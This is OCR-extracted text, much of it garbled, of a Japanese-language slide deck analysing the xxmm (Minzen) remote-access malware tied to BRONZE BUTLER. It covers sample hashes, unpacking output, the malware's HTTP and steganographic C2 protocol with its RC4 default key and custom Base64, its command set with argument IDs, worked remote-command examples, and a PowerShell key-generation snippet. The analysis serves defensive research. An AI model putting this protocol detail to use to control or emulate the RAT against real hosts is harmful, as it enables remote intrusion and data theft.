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xxmm (a.k.a. Minzen)
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BRONZE BUTLER D5

» Datper OHFEN 2017F 11 AMSERI TN TS
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J 71 )VIs¥hk
« xxmm ROwW/)C— (VT Enterprise T4 2> [0— RAJ&E

L VAS A K -l , d208c86c8331b7f1f6dd53f83afgeesec700a74792b419f663a3ce105d15
dic

I7AIAF1LT PE32 executable (GUI) Intel 80386, for MS Windows
JXE IV EM WA Thy May 12 02:44:45 2016 UTC
First seen on VT PE32 executable (GUI) Intel 80386, for MS Windows

e xxmm X121 —)L (&ENICO— RE=Nd)

AT WAV A K10 71,863d7d951e87c9cbde87882f9038dbyad7c8dacd2gb2ci2ebgebcaony
5ecb8

J7ALIEIALT PE32 executable (console) Intel 8038&, for MS Windows

XL IV EM WA Thu May 12 02:44:51 2016 UTC
BRI SR




&Rk
BEAROFIIT E1B T 7AW Y—Ib

 xxmmz2_build.exe

* https://www.virustotal.com/#/file/76340ef248c286270a07e2aee
c7baid6aoo7e77addeo8dc6cidcaarzbaefgeia8/detection

* xxmm?2_steganography.exe

* https://www.virustotal.com/#/file/27f3a4c757f6e81a0546e47bg
7cbaabsese2b82a6ec2694641cd41ecs,7bqo766/detection

 wincrypto - Python =1 —JL

* https://github.com/crappycrypto/wincrypto
* Iznta - Python =1 —)L

* https://github.com/youo708/lznta



https://www.virustotal.com/#/file/76340ef248c286270a07e2aeec7b1d6a007e77adde08dc6c1dcaa176aef9e1a8/detection
https://www.virustotal.com/#/file/76340ef248c286270a07e2aeec7b1d6a007e77adde08dc6c1dcaa176aef9e1a8/detection
https://www.virustotal.com/#/file/27f3a4c757f6e81a0546e47b97cbaab5e5e2b82a6ec2694641cd41ec47b90766/detection
https://www.virustotal.com/#/file/27f3a4c757f6e81a0546e47b97cbaab5e5e2b82a6ec2694641cd41ec47b90766/detection
https://github.com/crappycrypto/wincrypto
https://github.com/you0708/lznt1
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DLL & UAC/\1/)\XABEDE
>a1—-I)LEEFEND

INTD/)\1AFUIERCLIES
16 + LZNTEfaSsNCTUY —

AICHBN = CTULND
(RCq4 B "1234")



FS{tENZVY —-XADES

Python I UTJ" & {ERK

32E W MRD
XA F®>a1—)L

[+] could not find rc4key, use default key: 1234

[+] saved unpacked xxmm as xxmm_dropper_unpacked_o.bin

[+] saved unpacked xxmm as xxmm_dropper_unpacked_z1.bin

[+] saved unpacked xxmm as xxmm_dropper_unpacked_1_unpacked_o.bin

[+] saved unpacked module as xxmm_dropper_unpacked_1_unpacked_1.bin

[+] saved unpacked module as xxmm_dropper_unpacked_1_unpacked_2.bin

[+] saved unpacked xxmm as xxmm_dropper_unpacked_1_unpacked_3.bin

[+] saved unpacked xxmm as xxmm_dropper_unpacked_1_unpacked_o_unpacked_o.bin
[+] saved unpacked xxmm as xxmm_dropper_unpacked_o_unpacked_o.bin

[+] saved unpacked module as xxmm_dropper_unpacked_o_unpacked_1.bin

[+] saved unpacked module as xxmm_dropper_unpacked_o_unpacked_2.bin

[+] saved unpacked xxmm as xxmm_dropper_unpacked_o_unpacked_3.bin

[+] saved unpacked xxmm as xxmm_dropper_unpacked_o_unpacked_o_unpacked_o.bin
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xxmm X1 €S 1—)LDEM{EDRN
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2. C2 VY > RODWIRAME

xxmm X1 €S 1—)LDEM{EDTRN
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EE2 ORI

xxmm ($#RA4Z2T7 0 I ZBEICERITSIZENTES

Protocol Description
C218(E
C2 18(E
C2 [BEHRDAY T >0O— RERE
4 TCP C2lBEADTCP BT O ML
5 ubP C2iIBfERH@OUDPHBETONIIL
6 ICMP  ICMP echo Z{£D /2 C2 18135
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H{&RKDI 71 ILAD GET UIJITRA K
B URL AD & < 353 70 A & iR

URL (IR TEIBHR CIEE

GET| ftest/test.jpg HTTP/1.1
Accept: *[*

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1)
Hostjwww.example.com
Cache-Control: no-cache

FFDSFFEO QDD 10 4A 46:454c 000102010060 ...... JFIF..... )
00D 0 D0 0O FFELOCZDi45 78 €9 ¢cc00004D 4D | . " . o . .. -Exif. .MM
00 2200000008 0007:0132000200000014 ) .%. . ..... 2.
00 00 00 62 47 4000300000001 00020000 ...bGF..........
47 4500020000 0001:005800008B25580002|GT. & ... .. b
00 00O 00 1e 000000 7&:595C SDO0 0100000014 ). 00 v v Voo e e eoeoe -

QO DD 00 DDEAICOOOT7:00C0007DZ0000 0000 4 @ v e o e euemeneenaa
0004 00000001:000000BC 000000 F0 |l e v enenneenaos

87 &5 ] .
32303035 3A30333A:31 322031333234 38(2009:03:12 13:48




BRI 71 ILICEFENA3R1TO0—K

C2 N> R (DownloadExecute/ChangeURL) ' & ENSD

EA D4 EB 47 93_341::E%CFLBD:_E?-'E:_EDE_ B.{A.L..... |
22 BF6FSFFFDS 7800 78 006D 006D004254|" .0 ..k.x.m.m.|BT
4C 42 6E 5F 50 73 42 3451 50 4B 77 46 51 39 32 [LEn PsB4QPEwFQ92
63 45 31 61 4D 35 66 75 4F 56 65 66 35 56 35 68 |[¢cE1aM5£fu0OVe£5V5h
6F 53 43 5F 41 76 77 3277 4559 73 54 6A 2D 61 |0oSC_Avw2wEYSTj-a
34 5F 30 6B 47 56 43 32 6C 74 SA 383973 4B 35|4 0kGVC21tzZB89sK9
38 35 47 56 4C 58 66 44 77 2D 36 66 4B 72 53 52 |8BGVLXEDw- 6 ERrSR
38 68 65 72 2D 66 39 4D 76 7552 47 4E 77 31 6D |8her- £ 9MvuRGNwim
55 55 34 55 35 35 71 76,72 68 4E 31 70 52 75 5F |UY4¥55gqvrhN1pRu_
2 5F 43 4277 65 44 35 49 6B 52 4E |QitXB_ CJweDSIkRN

51 42 79 36163 69 38 37 31 2D 4B 358 |KOi5QBy6ciB871-K8
;ﬁilﬁlﬁ‘@}‘ai 52 70 31 7414C 38 38 49 6E 43 74 35|I1VibpltL8B8INCtS
52 35 49 673D 3D 6D 00 6D 00 78 00 |4Aj1R8Ig==jn.m.x.

! = .

BEE~ — 1 — BT~ —H—
Encrypted payload
XXmm MMXX
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Ping/Pong

(EZ'tf"1’QUE:CZ)ﬂﬂE nu»

« INTD C21BEDHIIC Ping/Pong BENREITDLDICIED
TW3

GET /index.php?i1d©=39454275&1d1=0&1d2=17547c11&1d3=0&1d6=2400000 HTTP/1.1
Accept: */*

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1)

Host: www.example.com

Cache-Control: no-cache

HTTP/1.1 200 OK

(snip.)
Content-Length: 1

1




1, 3. HTTP UOJ I A MNCEEND/ISA—4

GET /index.php?i¢6=b78563d0&id1=0&id2=f7547c11&id3=1&id4=AAAACAAA(snip.)chvAIQ!!&
1d6=2400000 |HTTP/1.1

Accept: ¥/

Content-Type: application/x-www-form-u
User-Agent: Mozilla/4.0 (compatible; M
Host: www.example.com
Cache-Control: no-cache

[ me RO
SO NEINFE SN FD16EXFE] SNFD16EXFE] 8NF D16 FF
0]

EZ 0
— < —_ . HA XN KEVIGEE(E e e
7251477~ ~ID 8 FMD161EX POST F— & LTREEND D161E X F 5

JOTANIAT 0
NXALO— Baseby (C{U /2S5

A<BH ? ? ?

1 >5—)Vl 2400000 (AJZY) 2400000 (AJZ) 2400000 (AJZY)

Windows NT 6.0; SV1)

2




2. IV > RDRIE
7> ROUSTIZMCHTBL AR R

HTTP/1.1 200 OK

(snip.)
Content-Length: 104

AAAACAAAAAAFCcE1DOwWHDQ8bBCDZZwfUoyA9ivQW6NHNTWEXmP18HOMHILS
96GPjJLg6NV55x28u3SEZavkcRgvIxmsbLZIOhabyyw! !

GET UOI R bDINSA—4 4 EEERDGE
ClES{EESNTLSD




GET UJI X bODES{tE=NERAIO—R
RSADBBEIMEENT VDS

e LZNTa1[EHE

LZNT1 * RtlCompressBuffer Z{£ > CT/EHE
e J\A rDON\VHS (TZT) MENENS

o SAHNRTEIA LF—ZEDTZRC S
o D254 LF—(FRSA L FHBECHESAL

« ZH| Base6y T>>1— R
 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqgrstu
VWXyz0123456789+/=
\’

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqgrstu
VWXyz0123456789"" |




>29414 LAF—zHAVZIES{E

2D RSA #/NY e D34 /\RCy SR H — ) \DABIE TS
it
RC4 BE=AL + LZNT2 [Ef SN TeRrO— R

H—/X H—/\
NEE S R HE

xXXmm

Il

C2H—)X

DTPAT >~

7 DCEINIR TR IANGNE

M o
Cchlg=1Eb
RC4 BE=AL + LZNT2 [EfE SN TeRrO— R




1 O—RDES

g5{t - T>d—bkEnken/0—Rk

AAAACAAAAAAFNsGPeUog(snip.)WoPns”~c p AXiKBAgPcvAIQ!

ZHl| Base64 71— R
W XY RSA 750‘ RSA Hﬁ%’fbéﬂt’: oy = —P ) — Kk
v RSA +RC4 185

- LZNT1 iz, FEEEXDRIO—K




GET UJI X bODES{tE=NERAIO—R
RSA BMEZMEESNT UV IES

e LZNTa1[EHE

LZNT1 * RtlCompressBuffer Z{£ > CT/EHE
e J\A rDON\VHS (TZT) MENENS

« T JA)L bODFEZER LU TRC BBS1E
o T JA)L OB "1234"

« ZH| Base6y T>>1— R
« ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstu
VWXyz0123456789+/=
A

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqgrstu
VWXyz0123456789"" |




1 O—RDES

g5{t - T>d—bkEnken/0—Rk

AAAACAAAAAAFNsGPeUog(snip.)WoPns”~c p AXiKBAgPcvAIQ!

RCGEES{EETNIERIO—R
- LZNT1 SNz, TEEFEXDONO—F
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N1O—RDIA—IY b

« IV RICEAT DIEIRIG "item" & UTHEINESNTULNS

“ “ RSA 759‘ RSA Hﬁ%—'fbéﬂt‘_ ¥z =3 PR N

_—

7’55*@ LZNT1 EfEE N, EREEZORAO— K

e

/\°4D—‘ K ltems - - - -
,\“Jg ,\“Jg em em em em



Item BER
xxmm (FBE &

s E TR (C

A=~y I T

CDBERFEIZER LTV

+ ID (FIEESB (CERA IRFEFENFIT

* e.g. xorT_—|\1§0) S IE ¥k

00 00 00 00 00 00 00 0070 61 72 61 6D 65 74 65] - - - . - . - . paramete
72 32 00 00 05 34 00 0000 02[D0 0000 0SJOD O] r= ... 4. ... ......
00 01]00]00 00 00 0C|00 01 04 DE|33 2E 30 00J00] . . .« . . .. ... 3.0
D0 00 OA[00 0L 04 E3|30 00]00 00 00 OB[00 01 04] . ...... 0. ..
£4]32 34 00]00 00 00 5C]00 04 05 00[06 02 00 00] - 24 . « « oo v v v v ..
D0 24 00 00 52 53 41 31, 0004000001 0001 00| ... .RSAL........
15281628 A1 92 F7 6914 C1 83 18 E69713 1| . (. (.. .d.uun.. ..
723183 84 7TCA325C7 ACD6 67 B9B9A2 06EE|z1..].%...q.....
A3 93 40 5 7B 8DEO 20 B9 6DEE 10 3C CC 48 E2| . .€.{.. .m..<.H.
17 SC 83 ED D7 78 D4 DH:DE ESDAARFZ2ZBCSCAER] .. ... e e e oaoaoa + .
4F 591584 FF192A 21 BC17 1B 08 6B17D68DJOX. . . .*1. .. . k.




Items 1BE&E&

AV +ltem FT—4

P ANV I

= A —

* Type 0/10: {EF7 —4, Type 1/11: iX{EFT —4, Type 2: HTE
—" — » =JLr==y)
e e.g. xor 71— RO E B

0000 00000Q0000000i7061 7261 6DGES T4 65)........ paramete
72 32|00 00 05 3400 0000 02|00 00 00 0% 00 01| x: 4.
0001000000000CO0i01L04DE332E300000)........... 3.0

00 00 OA OD O1 04 E3 EEEDD o000 0OOBOODO1IO4)....... 0. ... ...
E4 32 34 00 DDCCDDECEDDC%DECE Oe 0Z20000).24.............
00 24 00 00D 52 53 41 31§DD 040000010001 00)....REA1........
15 28 16 28 Al 52 F/ 65;14 Cl 83 18 E6 57 13 C1 (. i
1A 31 83 B84 TC A3 EECTEHCEE €7 85 B9 RAZ0GEE|=z1l. .| .%...9. .. ..
MEE%DEE?EBEEDEEEEBEEEE1C3CCC4BEE ..@B.{.. .m..<.H.
17 SC 83 ED DY 78 D4 ETEDE ESDAAFZ2BCSCAEA|..... e o owom oo +. ..
4F S8 15684 FF192A21iBC171B08 6B 17 D6 GDIOX. ... %, ... k...




Analyzing Items/Item Structure

ltems #@1EAZ/\— X U
RIDESERICIERIAL TH\S., €&

DI T item (C7OTR T D




&4D—FAW§

edc80b19 Ox00 /5'/(AZ/>" GetTickCount DB
S “items” HMAI D O T dp D H
00000000 ox08 * TER smancondnie
N1 bD o FmATAXELDKELH
©172d218 Ox08 1 IS5 1LEAYAILDMEOND
000000 /a
00000001 1A ltems R1O— R

00000018...




C2 {0+l

A I\ "
0x10001 APl & 0x10002 o< 5128

em | hem | hem
% [tems
| ANV

Il

XXmm C2H—)X

5 (VAN
0x10001 AP| & 0x10002 5 —

ZEIN> ROEDIE—




RAT 1Y > F: xxmm API

* GetSystemlInformation

* DownloadExecute

* ChangeUrl

* ChangeTimelnterval

* Uninstall

* Plugln

* PowershellEncodedCommand
* CreateProcessLow



RAT 1Y > R: X5>45—K(?) API

* stdapi_execute_sleep * stdapi_fs_sha1
* stdapi_execute_commandgroup * stdapi_fs_mdg
* stdapi_syncshell_kill * stdapi_fs_file_move
* stdapi_syncshell_control * stdapi_fs_file_expand_path
* stdapi_syncshell_open * stdapi_fs_stat
* stdapi_cmd_kill * stdapi_fs_separator
* stdapi_cmd_control * stdapi_fs_delete_file
* stdapi_cmd_open * stdapi_fs_delete_dir
* stdapi_fs_search * stdapi_fs_mkdir
* stdapi_fs_file_upload * stdapi_fs_chdir
* stdapi_fs_file_download * stdapi_fs_getwd
* stdapi_fs_file_excute * stdapi_fs_ls

* stdapi_fs_GetLogicalDriver



Metasploit APl N\—X?

Metasploit APl &[&8 U %Rz
&£




N \\ —
:::I ;E -l“' ‘j[:’ii nm
581 | B2 | B®3 | RO ROfE 2 ROfE 3
. - - = 0x4001A - -
GetSystemInformation
- - - System info - -
0x404D5 0x104D3 0x204D4 - - =
DownloadExecute
File data File path Show flag - - -
0x104F6 0x20529 - = - -
ChangeUrl
C2 URL Server No. - - = -
: OX204F7 - - - - ;
ChangeTimeInterval
New interval - - - - -
' 0x20535 - - - - ;
Uninstall
Run key flag - - - - -
0x404D5 - - = - -
PlugIn
file data - - - - -
Ox104F8 - - = - -

PowershellEncodedCommand Encoded PS
command

0x1052D Ox2052E - - - -
CreateProcessLow )
Command line Alt process - - - -
IIIIiiIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII




[ |
Command Details
. Jzx¥k | B%1 | B2 | B®3 | REbhE1 | REhiE2 | EOE3

. 0x104B0 - 0x104B1 0x104B2 0x800004C4
stdapi_fs_1s ) ) )
Target dir - - File name Full path File stat
. - - - 0x104B0 - -
stdapi_fs_getwd
- - - Current dir - -
. . ©x104B0 - - - - -
stdapi_fs_chdir i
Target dir - - - - -
. . ©x104B0 - - - - -
stdapi_fs_mkdir i
Target dir - - - - -
. . 0x104B0 - - - - -
stdapi_fs_delete_dir )
Target dir - - - - -
. . ©x104B2 - - - - -
stdapi_fs_delete_file )
Target file - - - - -
. - - - ©x1000A - -
stdapi_fs_separator
- - - Path separator - -
. ©x104B2 - - 0x800004C4 - -
stdapi_fs_stat ) )
Target file - - File stat - -

‘
Y



[ |
Command Details
. Jzx¥k | B%1 | B2 | B®3 | REbhE1 | REhiE2 | EOE3

. : 0x104B2 - 0x104B2
stdapi_fs_file_expand_path
Target path - - Full path - -
: 0x104B2 - - 0x104B1 - -
stdapi_fs_md5 )
Target path - - MD5 digest - -
0x104B2 - - 0x104B1 - -

stdapi_fs_shal

Target path

SHA-1 digest

. . . - - - 0x104B2 0x204D2 -
stdapi_fs_GetLogicalDriver ) )
- - - Drive root Drive type -
. . 0x104D3 0x204D4 - - - -
stdapi_fs_file_ execute i
Command line Show flag - - - -
. . 0x104B2 0x104B2 - 0x104B2 0x104B2 0x404D5
stdapi_fs_file download i )
Target path Unknown - File path Unknown File data
. . 0x104B2 0x104B2 0x404D5 0x104B2 0x104B2 -
stdapi_fs_file upload ) )
Target path Unknown File data File path Unknown -
. 0x104D0 0x104CF Ox804CE 0x104B2 0x104B1 0x204B4
stdapi_fs_search ) ) ) ) ) )
Target path Target filename Recursive flag Dir Filename File size




Command Details
Argument 1 Argument 2 Argument 3 Result 1 Result 2 Result 3

: 0x104D3 0x2050A Ox2050A
stdapi_cmd_open
Alt shell Terminate flag - PID - -
. 0x404D6 - - 0x404D6 - -
stdapi_cmd_control
Shell command - - Output - -
stdapi_cmd_kill
. 0x104D3 - - - - -
stdapi_syncshell open
Alt shell - - - - -
. 0x404D6 - - Ox404d7 - -
stdapi_syncshell control
Shell command - - Output - -
stdapi_syncshell kill
. 0x404D8 - - - - -
stdapi_execute_commandgroup
Command group - - - - -
. 0x204D9 - - - - -
stdapi_execute_sleep
Sleep time - - - - -

ﬁ
w



51 Z DT (CDUNT
HIED item ZHS I SEFAISER I NUERLY
* e.g. ChangeUrl ¥ > <

£OY > REZICIEBIER &7
3 item &) \— X I BEFH
FIELTWB




Bl: I7AIDF7YvIO—RK

Reimok LD C:xhoge.txt DHYIS

0x10001 0x10002 0x104B2 0x104B2

u'C:¥hoge.txt |

'stdapi_fs_file_download' #A1ALRX5>T

3 y/02T7BVTFDZDWFuROUuUu7rlkeuUlUytKzrp6Mxy™ ~“AfuAHrla(snip.)RHIp6p8
gqQ5LppSwF4HoD4SRS3i8D5zMMHIX09N1jtk891992G1VEfWrlt57glOLTZQXVihmeedUNDbI !

[tems
WA

Il

XXMm C2H—/X

0x10001 Ox10002  0Ox20004 Ox104B2 Ox104B2  ©x404D5
J71)L
F—5

'stdapi_fs_file A1/ AT —H X  y'Cyhoge.txt
_download" R a—R !

GET /index.php?id@=d65d4f8a&id1=0&id2=f7547c11&id3=1&id4=AAAAiAAA(snip.)Izxj4ER6A~Dg! !&id6=10000

IIIIHIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII



fl: UE—FSTI

ipconfig DE1T

ltems Item Item

Ny S 0x10001 'stdapi_cmd_open' 0x10002 YA LRFIT
AAAAiIAAAAAEMb WsgOWNLPFrS1zQT9Dd71HE (snip.)sUsgDpsHgMRYh97zmm@1PnMW utiDGkFFbNIpgva4QHcNx

tems | Mem [ Mtem | Mem |
ANV

0x10001 'stdapi_cmd_open' 0x10002 FA1ALRXF>T ox20004 AT—HRXD—R

GET /index.php?id@=55243eab&id1=0&1d2=f7547c11&1d3=18&1d4=AAAAiAAAAAGiI(snip.)uBRuYfmCLbo!&id6=1

Il

XXMm C2H—/X

tems

Ny @x10001 'stdapi_cmd_control' ©x10002 F-TARF>T 0x404D6 ‘ipconfig'
AAAAIAAAAAFWZEmM1vPSj8KASO0OUPFhrzCEM5(snip. )haf6XHV8jpRQcXyU71sI™ 6U12MbbVvBpXGdaQuXxZ3B1H17

tems
Y5

0x10001 'stdapi_cmd_control' ©x10002 FALRXT>T 0x20004 AT—FRXI—R 0x404D6 HiH
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Base Provider Key BLOBs
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Add-Type -AssemblyName System.Security

$RSA = New-Object System.Security.Cryptography.RSACryptoServiceProvider

Set-Content "rsa_server public key.bin" -Value $RSA.ExportCspBlob($False) -Encoding Byte
Set-Content "rsa_server private key.bin" -Value $RSA.ExportCspBlob($True) -Encoding Byte

$RSA2 = New-Object System.Security.Cryptography.RSACryptoServiceProvider
Set-Content "rsa_client public key.bin" -Value $RSA2.ExportCspBlob($False) -Encoding Byte
Set-Content "rsa_client private key.bin" -Value $RSA2.ExportCspBlob($True) -Encoding Byte
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